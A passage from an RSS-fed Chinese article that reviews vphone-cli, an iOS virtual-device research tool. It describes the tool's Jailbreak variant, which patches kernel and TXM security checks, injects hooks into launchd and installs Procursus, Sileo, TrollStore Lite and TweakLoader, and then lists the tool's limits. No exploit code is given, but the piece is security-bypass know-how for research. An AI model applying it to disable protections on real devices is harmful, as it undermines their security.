leaf="">Jailbreak</span></code><span leaf="">路径把太多安全机制直接关闭，影响漏洞复现或策略分析。</span></p><p data-line="350" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">另一方面，它把iOS系统镜像重建流程工程化了。它要求工具理解AEA加密、APFS镜像、Cryptex内容、dyld链接、trustcache、mtree、digest.db、root_hash和BuildManifest之间的关系，而不只是“哪里检查失败就patch哪里”。</span></p><p data-line="352" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">近期提交中加入的embedded AEA key、按需remap fs、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><span leaf=""> binpack、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NO_BINPACK</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NO_VPHONED</span></code><span leaf="">，都说明这条路线仍在快速迭代。</span></p><h2 data-line="354" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">15 越狱插件和用户态扩展</span></h2><p data-line="356" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">用户特别关心的越狱插件支持，主要体现在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><span leaf="">变体的几个层次。</span></p><p data-line="358" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第一层是内核和TXM安全绕过。Jailbreak变体启用TXM Dev/JB补丁、Kernel JB补丁、task_for_pid、NVRAM写入、sandbox扩展、MACF路径、dylinker限制、shared region、spawn persona、vm_protect、vm_fault等相关补丁。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">research/0_binary_patch_comparison.md</span></code><span leaf="">把JB专属Kernel方法列成25个大项，部分方法内部还包含多个实际patch点。</span></p><p data-line="360" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第二层是BaseBin hooks。CFW安装会部署</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">systemhook.dylib</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">launchdhook.dylib</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">libellekit.dylib</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/cores/</span></code><span leaf="">，并通过短路径</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/b</span></code><span leaf="">把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">launchdhook.dylib</span></code><span leaf="">注入launchd。这为用户态hook和越狱环境初始化提供基础。</span></p><p data-line="362" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第三层是Procursus。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cfw_install_jb.sh</span></code><span leaf="">会部署Procursus bootstrap，首启脚本会建立</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/var/jb</span></code><span leaf="">，运行bootstrap准备脚本，配置APT源，并安装Sileo。Sileo出现后，虚拟机就具备了类似真实越狱设备的包管理入口。</span></p><p data-line="364" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第四层是TrollStore Lite。首启脚本会尝试安装</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">com.opa334.trollstorelite</span></code><span leaf="">，并在安装失败时不再轻易写入done标记，而是让日志暴露失败状态。这让越狱收尾过程更可诊断。</span></p><p data-line="366" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第五层是TweakLoader。2026-03-09的提交加入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tweakloader</span></code><span leaf="">到越狱安装流，当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">research/0_binary_patch_comparison.md</span></code><span leaf="">也把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TweakLoader.dylib</span></code><span leaf="">列为JB安装组件。它被安装到：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="368" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">/var/jb/usr/lib/TweakLoader.dylib</span></code></pre><p data-line="372" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这意味着当前Jailbreak变体不仅能启动越狱文件系统，还在向“可加载用户tweak、可验证插件行为”的方向推进。</span></p><h2 data-line="389" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">16 当前能力边界</span></h2><p data-line="376" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">尽管能力已经大幅扩展，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">仍然是研究工具，不是普通意义上的iOS云手机产品。</span></p><p data-line="378" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">首先，它强依赖macOS 15+、Apple Silicon、PV=3私有虚拟化能力和私有Entitlements。Host侧必须处理SIP、AMFI、allow-research-guests和Gatekeeper执行策略。没有这些条件，release签名二进制会直接被系统杀掉。</span></p><p data-line="380" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">其次，Nested VM仍然不可用。如果Host本身运行在Apple虚拟机中，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Virtualization.framework</span></code><span leaf="">无法继续启动虚拟iPhone。当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">boot_host_preflight.sh</span></code><span leaf="">已经能提前识别这类环境。</span></p><p data-line="382" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第三，固件补丁虽已大量动态化，但仍跟iOS 26、cloudOS 26和vphone600/vresearch101平台深度绑定。README列出的已测环境集中在Mac16,12和iOS/cloudOS 26.1到26.3.1组合。未来iOS构建改变函数结构、字符串锚点或Image4布局时，仍可能需要重新定位补丁。</span></p><p data-line="384" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第四，Jailbreak变体的能力强，但修改面也最大。它适合逆向分析、调试和越狱生态实验，不适合验证“原厂安全策略下是否可利用”的漏洞条件。遇到策略相关研究时，Patchless或Regular可能更适合作为对照组。</span></p><p data-line="386" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第五，Guest侧高级能力依赖私有框架和运行时权限。应用管理、钥匙串、剪贴板、安装器、位置和Accessibility树都可能随系统版本变化而失效或降级。Host菜单中对Guest能力的动态检查，正是为了处理这类差异。</span></p><p data-line="388" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果用一句话总结当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">：它已经从“启动iOS虚拟机的命令行工具”演化成“面向iOS安全研究的虚拟设备制作和自动化控制平台”。</span></p><p data-line="390" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的底层能力是PV=3虚拟硬件、PCC固件混合、DFU恢复和引导链补丁。</span></p><p data-line="392" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的制作能力是Makefile一体化流程、Swift固件补丁管线、Patchless文件系统重建、Ramdisk和CFW安装。</span></p><p data-line="394" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的运行能力是图形窗口、触控、键盘、串口、网络、SSH、VNC、RPC、位置、电池、Touch ID、截图和录屏。</span></p><p data-line="396" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的研究能力是vphoned、文件浏览、应用控制、钥匙串读取、IPA/TIPA安装、剪贴板、Settings、Accessibility树和主机侧自动化Socket。</span></p><p data-line="398" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的越狱能力是Jailbreak固件变体、TXM/Kernel JB补丁、Procursus、Sileo、TrollStore Lite、BaseBin hooks和TweakLoader。</span></p><p data-line="400" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的环境管理能力是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">config.plist</span></code><span leaf="">清单、稳定ECID/UDID、Host预检、AMFI辅助、VM备份、恢复和切换。</span></p><p data-line="402" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">上一篇文章的结论是，iOS虚拟手机已经从“固件里发现的内部能力”变成“社区可以启动的研究环境”。现在更准确的结论应该是：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">已经把这个研究环境推进到可重复制作、可持续维护、可自动化操作、可切换安全强度、可承载越狱插件和动态分析工作流的阶段。</span></p><p data-line="404" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于iOS逆向工程和移动安全研究来说，这个变化比“能不能看到SpringBoard”更重要。因为真正决定工具价值的不是第一次启动成功，而是能否在后续数百次测试中稳定重建环境、快速切换状态、自动收集反馈，并把Host侧工具链与Guest侧系统能力连接成一个闭环。当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">已经基本具备了这个闭环的雏形。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=955ae1e9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485134%26idx%3D1%26sn%3D9577361b5573c62a0b05424afff04237">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 26 Apr 2026 19:16:00 +0800</pubDate>
    </item>
    <item>
      <title>电子书分享：安卓系统AOSP技术内幕</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485122&amp;idx=1&amp;sn=3877e38965a4620b9ed729743d979bd1</link>
      <description>电子书分享：安卓系统AOSP技术内幕</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-22 13:24</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3635550d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeT8sCZuRVGKRAkBX6obpql9XS0KMyq1XRvAkDT4YNyEpAjAQAGHiaPAlCiblEhMibWUygZ5r3PicWTiax3rm2SvNBwLxDia4Xr3ggMMDU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>电子书分享：安卓系统AOSP技术内幕</p>
